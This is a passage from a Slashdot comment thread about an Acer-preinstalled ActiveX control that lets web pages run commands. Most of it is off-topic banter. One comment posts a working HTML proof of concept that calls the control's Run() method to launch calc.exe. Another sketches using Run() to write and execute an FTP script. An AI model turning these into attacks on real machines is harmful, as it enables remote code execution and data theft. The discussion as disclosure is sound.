    When it came time to ramp up to full production we found we could no longer get 120M HDD's but could get 250M for the same price (the HDD's were third party PCMCIA cards that were supposed to be "pre-imaged" by the hardware guys). The Dilbert moment happened when a PHB with way too much time on his hands had to sign the purchase order and demanded 120M HDD's because "that's what's it says in the contract". The solution was illogical but effective, we quietly arranged for our hardware friends to format the 250M physical drive into a 120M logical drive and ignore the remaning space (and told them why). A few PHB readable edits to the PO and hey presto a warehouse full of laptops with our software pre-installed on 120M drives and an extra PHB-invisible partion.

    Now throwing away half the drive is clearlly illogical but in my mind it was the "optimal" solution, with the possible exception of a time consuming appendectomy that would gum up the workflow for weeks/months and could possibly result in a devil we didn't know taking over. I also say "optimal" because: The PHB belived he had asserted his authority over the project and a rival PHB in the sister company, all with just one demand. From what I recall he went off to pester someone else and gloat about it. Not only did it nueter the PHB but HR, the lawyers and the accountants were kept in their cages, the techies got a good laugh, and the customer remained oblivious to the whole fiasco.

    Finally, a year or so into production when the image size started to bloat towards the 120M limit, the same PHB asked for a costing to retrofit bigger drives, like any good salesman we umm'ed and ahh'ed then went off to "see what we could do" before announcing we could remotely activate a new D: drive on a standard update cycle using some simple "magic" and a couple of mandays labour. The news delighted the PHB who promptly added a manday for his own "time". We didn't even hint that it was his previous demand had caused the current space squeeze, we simply saved our eveidence in case an appendectomy was required at some future random impasse. We also saved all the "can do" brownie points for the next time we had to convince the same PHB that his proposed solution to some imaginary problem really, truly, is a "can't do" situation, regardless of what PC week says.

    --
    And did you exchange a walk on part in the war for a lead role in a cage? - Pink Floyd.
    1. Re:PHB == appendix by Registered+Coward+v2 · · Score: 2, Insightful

      When it came time to ramp up to full production we found we could no longer get 120M HDD's but could get 250M for the same price (the HDD's were third party PCMCIA cards that were supposed to be "pre-imaged" by the hardware guys). The Dilbert moment happened when a PHB with way too much time on his hands had to sign the purchase order and demanded 120M HDD's because "that's what's it says in the contract". The solution was illogical but effective, we quietly arranged for our hardware friends to format the 250M physical drive into a 120M logical drive and ignore the remaning space (and told them why). A few PHB readable edits to the PO and hey presto a warehouse full of laptops with our software pre-installed on 120M drives and an extra PHB-invisible partion.

      While I don't know the specifics of your situation and am not fond of defending PHB decision, sometimes there is a logical reason to do something that appears stupid because "that's what's it says in the contract". For example, the contract could have a requirement to ship all machines in the same configuration, so if you upgrade it later you have to go back and update all the older machines at your cost; or you could be charging someone else more for 250g machines with contract provisions that give them a "best price" so when you sell 250g devices to A at a price less than you charge B; B is entitled to a refund.

      I've seen some really stupid looking (on the surface) things done that were understandable once you learned the contractual reasons behind them - for example we would not let anyone use a conference room in our building - even though it set empty 90% of the time. Why? We were allowed to charge a client for 100% of the cost of the room - and had to discount that if anyone else used it. Since we weren't going to give up the revenue it sat empty most of the time. Stupid? Not when you looked at the bottom line, even if it meant people had to find another room to use.

      Generally companies are not so inflexible - until something goes wrong and lawyers start looking over thr contract and contract performance - and suddenly the no big deal things become problems.

      --
      I'm a consultant - I convert gibberish into cash-flow.
  51. Re:to those of us uneducated by PAjamian · · Score: 3, Insightful

    Since Acer would presumably have the power to control any aspect of your computer when you use it to log onto any webpage, all they need to do is to wait for you to access a site under their control, and bingo, they can lift all of your installation logs, cookies, saved passwords, MS WORD docs containing the words 'budget; personal; finance; medical; records; debt; sex, SSN (and all applicable variants),etc.
     
    OK, let's say you are gullible enough to think that they can take all of that they want, and still not put you at risk - now, think for just a moment about who 'they' are...? What are the odds of 'they' going to all that trouble and not having some plan to do something with what they glean that you will not be pleased with...? Still not impressed?
     
    How's this... Acer sits around and waits for just the right time and boom - they toggle a flag on your computer that makes it appear that it needs to have XYZ repaired, and what do you know, the only resource is...ACER!! I doubt their intentions are anything so malicious. TFA states that this control is from back in 1998. Back then internet security wasn't as big of a concern as it is now. They probably put the control in place with the intention that they could use it to launch a help-desk application or run commands for repairing the computer remotely (ie from a help desk tech). Maybe have knowledge base articles that link to pages that automatically run the repairs needed. The active-x control can certainly do all this easily. It's not too far fetched to think that they would have forgotten about it after that and not even thought to remove it from future releases.

    There is an old saying (paraphrased, I don't recall the exact quote), "Never attribute to malice what can be explained by incompetence." I think this is just a case of gross incompetence, but not malice.
    --
    Windows is a bonfire, Linux is the sun. Linux only looks smaller if you lack perspective.
  52. (My Acer - Windows) + Windows + Linux = Good by 5of0 · · Score: 5, Funny

    Note: The following comments are legitimate information, designed to help people help themselves. I am not an Acer fanboy (I reserve that for SanDisk), but I like my laptop. YMMV.
    Actually, I have an Acer Aspire 1640. It's a nice machine for the $799 I got it for about 6 months ago. And Acer doesn't load a bunch of AOL/WildTangent/EarthLink/etc useless "applications" that are bundled because they can't stand on their own, like certain other manufacturers *cough*Dell*cough*HP*cough*. The few things that were bundled (counted on *maybe* 2 hands) were actually useful.
    Once I got to college (where I have access to $10 Win XP Pro discs) I wiped it, reinstalled Windows (gasp!) *and* Ubuntu Linux. Works great, and with 120GB HD, plenty of space for both OS's. The Windows works great, since it's very light (only Windows-only stuff, everything else is on Ubuntu+Wine).
    Hardware support on Linux is pretty decent. After some elbow grease, wireless, ethernet, widescreen, CPU power stepping, Sansa m250, even hardware buttons are working. Sound is the only thing I'm not sure about, output works fine, input seems finicky. I could probably fix it, but I don't care that much yet.

    So...I'm not that concerned. Besides, who uses Internet Explorer anyway?
    (That was sarcasm. I know the correct answer is "98% of everyone, luser!")
    (That was sarcasm too. I know the correct answer is really "No, it's 89%, n00b!!11!!BBQ!! Look at my fancy link!!")
    (Other appropriate comments include "I for one welcome our new Acer-invited overlords", "In soviet russia, computers bug Acer!", "I use lynx, you insensitive clod", "Ubuntu sux. [Insert Distro Name Here] is sooo, like, better because [insert unsubtantiated claim here].", etc., ad infinitum.)

    --
    You all have Oo.o and Firefox, so get World Wind.
  53. Re:Phew! by Dilaudid · · Score: 5, Funny

    Old? Hah I rememember trolling by morse code back when slashdot was a ham radio channel.

  54. Test/exploit code by Koyaanisqatsi · · Score: 3, Informative

    The code to test for the vulnerability, right from the Brazilian article about it linked on another post. Save it as an html file and browse it with IE.

    <html>
    <body>
    <object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3A A" id="hahaha">
    </object>
    <script>
    hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
    </script>
    </html>
    </body>

  55. Re:Phew! by pallmall1 · · Score: 4, Funny

    And liked it!

    --
    3 things about computers: they're alive, they're self-aware, and they hate your guts.
  56. Exploit to unexploit? by Mike89 · · Score: 2

    Sorry to hijack the top thread, but perhaps some high-visitor websites could use the "exploit" to uninstall it? Like, unregister it and delete the ActiveX file, as has been shown how to do in many posts below.

  57. Re:Phew! by DaveCar · · Score: 3, Insightful

    Heh, if you're the kind of anal-retentive who runs Debian then you'd probably have an problem with which version of Debian they installed. Then the kernel version, then the desktop environment ... if you want to run Debian it is probably easier on everyone if you just install it yourself ...

    I run Debian ;-)

  58. Re:Phew! by Stormwatch · · Score: 3, Funny
    Someone please mod this agressive idiot to hell....please.
    There is no "-1 sinful" moderation, sorry.
  59. Re:Phew! by Zardoz44 · · Score: 2, Informative

    I concur. I'm on my HP laptop right now, which is about 20 months old. It came with only one partition, so I had to format the entire thing when I got it to repartition it--I know I could have probably used something like Partition Magic, but I'm cheap and I wanted to uninstall all the cruft, like the Sonic garbage.

    The upside is that it did some with a clean* (*HP OEM) Windows XP disk. Even though it was OEM, it gave me the option to keep most of the useless HP software off.

    Beyond than, no problems yet. So I'm relatively pleased with HP for once.

  60. Re:Phew! by ThomS · · Score: 2, Funny

    Mine shipped with FreeBSD, which I immediately wiped & wrote my own OS, in binary, with my eyes closed and my hands tied behind my back, but I appreciate the thought

  61. Re:Phew! by Tauvix · · Score: 3, Informative

    I work for a major retail chain that sells HP/Compaq notebooks and desktops. HP/Compaq desktops have required you to create the recovery discs for at least 3 years now, however it was not until the August/September 2005 model refresh that they stopped shipping recovery discs with their notebooks.

  62. Re:to those of us uneducated by man_ls · · Score: 2, Interesting

    Or, you could use Run() to generate the script for the FTP client in place on the target's hard drive.

    Run(drive,path,"type \"FTP COMMAND LIST HERE\" > script.txt");

    or any other method of entering arbitrary command-line data into a file.

    Then, run as normal.

  63. Re:I'm not impressed with this IE7 "improvement" by FireFury03 · · Score: 3, Insightful

    You may be shocked to realize that Firefox plugins and extensions don't run in any sandbox at all. They in fact have access to any resource Firefox has, which on a Windows machine is usually administrator capabilities.

    You don't need to sandbox the plugin itself - you need to sandbox any code the plugin downloads and executes. For example, a Java VM plugin is not in a sandbox, however *it* sandboxes the bytecode itself - the VM restricts what the code can do. On the other hand, ActiveX failed to do this since it provided functions to access every aspect of the host environment.

    So this isn't anything to do with insecurities in the browser, this is down to insecurities in the plugin. Any firefox plugin that allows anything downloaded from the web to execute arbitrary commands on the host would be considered similarly insecure.

  64. Re:to those of us uneducated by djupedal · · Score: 2, Insightful

    "You're in trouble the first time you try selling the water bag to someone whose car you repaired a few weeks previously."

    Well, duh :)

    A good con man always remembers the mark... Not stepping in it is all part of the dodge. Most times, during those days, it was one way, and the odds of seeing the same mark were pretty low. Families and individuals going to California to make a new start for their future, right after the war, were all part of an influx that would last for decades.

    U-Haul celebrated 60 successful years in 2005, which puts them in business starting in 1945. The 'American Dream' that drove the migration west kept U-Haul busy and growing, and it wasn't until 1987 before their records revealed more equipment leaving California than was going in.

  65. Re:Phew! by FlyingSquidStudios · · Score: 2, Funny

    I was going to draw little ones and zeroes with a stick in the mud, but what with being old skool, my people have not discovered the zero yet, but I appreciate the thought.

  66. Re:Phew! by Anonymous Coward · · Score: 2, Funny

    Morse code? You were lucky! I used to dream of using morse code.

    When I were a lad we used rocks to represent ones and zeros, and had to carry them to the top of the hill in a bit bucket. When we got to the top our dad would beat us for not bring up the stop bits.

    And we liked it!

  67. Re:Phew! by Anonymous Coward · · Score: 2, Informative

    We don't call pig "ham" we call it "pork".

    It dates back to the Norman invasion of England, pork and beef are the Norman (french) words for those animals (porc and boeuf).

    Same reason why we have redundant words like big/large.

  68. Re:Phew! by bigdavesmith · · Score: 2, Informative

    I'm no meat scientist, but I believe this is because due to the nature of a chicken, and the various preparation methods, you can say "I want chicken!" and you get chicken. While you can be more specific, 'chicken' is sufficient.

    On the other hand, if you walked into a restaurant and ordered 'Pig', you might get bacon, ham, or pork. Perhaps even a pork medallion wrapped in a strip of sweet, sweet bacon.

    The variety of the animal available for consumption helps shape the ordering process. At least that's all I've got.

  69. Question: is this another Acer backdoor? by GreatBunzinni · · Score: 3, Informative

    When I read this message what popped right on my mind was the existence of an administrator account which camed pre-installed on my Acer laptop. The account is called "ASP.NET Machine A..." which is protected by a password and I'm not able to uninstall it no matter what I try. Can this be another Acer backdoor installed on their systems?

    P.S.: the article's backdoor was also present on my system. those bastards...

    --
    Slashdot, fix your code or at least hire someone who is competent at it to do it for you.
    1. Re:Question: is this another Acer backdoor? by ded_guy · · Score: 2, Informative

      Sorry to ruin your paranoia, but the "ASP.NET Machine Account" (ASPNET) is created when the .net framework is installed. If you look at the description of the account, it's used to run the asp.net worker process (presumably so you can lock down your asp.net applications). As to why you can't delete it I'm not sure (preliminary googling says it should be removable from the users control panel (at the cost of breaking any asp.net applications running on your machine)). However, I'm not going to try here since I do development on this machine :)

      --
      In the future, all spacecraft will be made of cheese.
    2. Re:Question: is this another Acer backdoor? by Beardo+the+Bearded · · Score: 2, Interesting

      No.

      That's just what happens when you install the .NET framework. Apparently you have to run as an administrator to use some of the .NET controls. Solution: Make a .NET account with administrator privileges.

      Pretty cool, huh?

      --

      ---
      ECHELON is a government program to find words like bomb, jihad, plutonium, assassinate, and anarchy.
  70. Re:Phew! by anticypher · · Score: 5, Funny

    I rememember trolling by morse code back when slashdot was a ham radio channel.

    Youngsters these days. Back then it was called dashdot, it predated even radio, the oldest of us trolled with semaphores. With the introduction of electrickity, the whole telegraph scene took off. Then some guy named Morse forked the project and publicised the code as his own. It's been downhill ever since.

    Hitches up his braces, fires some chaw in the spittoon, waits for someone older to out-troll

    the AC

    --
    Hemos is like...sci-fi fans;he thinks technology is cool, but he hasn't bothered to understand the science it's based on
  71. Re:Phew! by cadeon · · Score: 2, Insightful
    There is no "-1 sinful" moderation, sorry.

    There Should be. We need a "+1 Godly" also, and perhaps a "-1 Meaningless Evangelism" to handle all those "My OS Sucks Less than yours" posts.

  72. Chef said it best by spun · · Score: 2, Funny

    Chef: You see, chidren, sometimes a man needs to be with a woman.
    But sometimes, when the lovin' is over, the woman just wants to talk and talk
    and talk and talk.

    [song]
    But a prostitute is someone who would love you
    No matter who you are, or what you look like.
    Yes, it's true, children.
    That's not why you pay a prostitute,
    No, you don't pay her to stay, you pay her to leave afterwards.
    That's why I pays a lot for prostitutes! Ladies and Gentlemen, Mr. James Taylor.

    James Taylor: A prostitute is like any other woman
    They all trade somethin' for sex and they do it well.
    Chef: And that's why I say-
    Chef and James Taylor: Prostitutes! Prostitutes! They-
    Chef: Oohhhh [sees principal]
    James Taylor, what the hell are you doin' in here?!
    Singing' about prostitutes to the children! Get out of here!

    --
    - None can love freedom heartily, but good men; the rest love not freedom, but license. -- John Milton
  73. Re:Phew! by AJWM · · Score: 2, Informative

    Why do we call "pig" ham and "cow" beef?

    It dates back to the Norman invasion (no, not Spiney, but 1066). The (primarily Norman French) aristocracy called food by the french words -- boeuf, jambon (hence ham), etc. The stuff the peasants ate, or that nobody ate (eg horse), wasn't.

    BTW, the word "poultry" is similar to the french word for chicken -- poulet.

    --
    -- Alastair
  74. contract manufacturing of computers by smellsofbikes · · Score: 3, Interesting

    I worked at a place that actually built servers and desktops for Dell and HP, among others. You're correct: we built to a required price point. HP servers were 100% functionality tested, multiple times, in hot/cold chambers. HP desktops were 100% functionality tested. Dell desktops were power-on tested. We built motherboards for someone, I don't know whom, that weren't even power-on tested, just shorts-tested on automated test equipment.

    --
    Nostalgia's not what it used to be.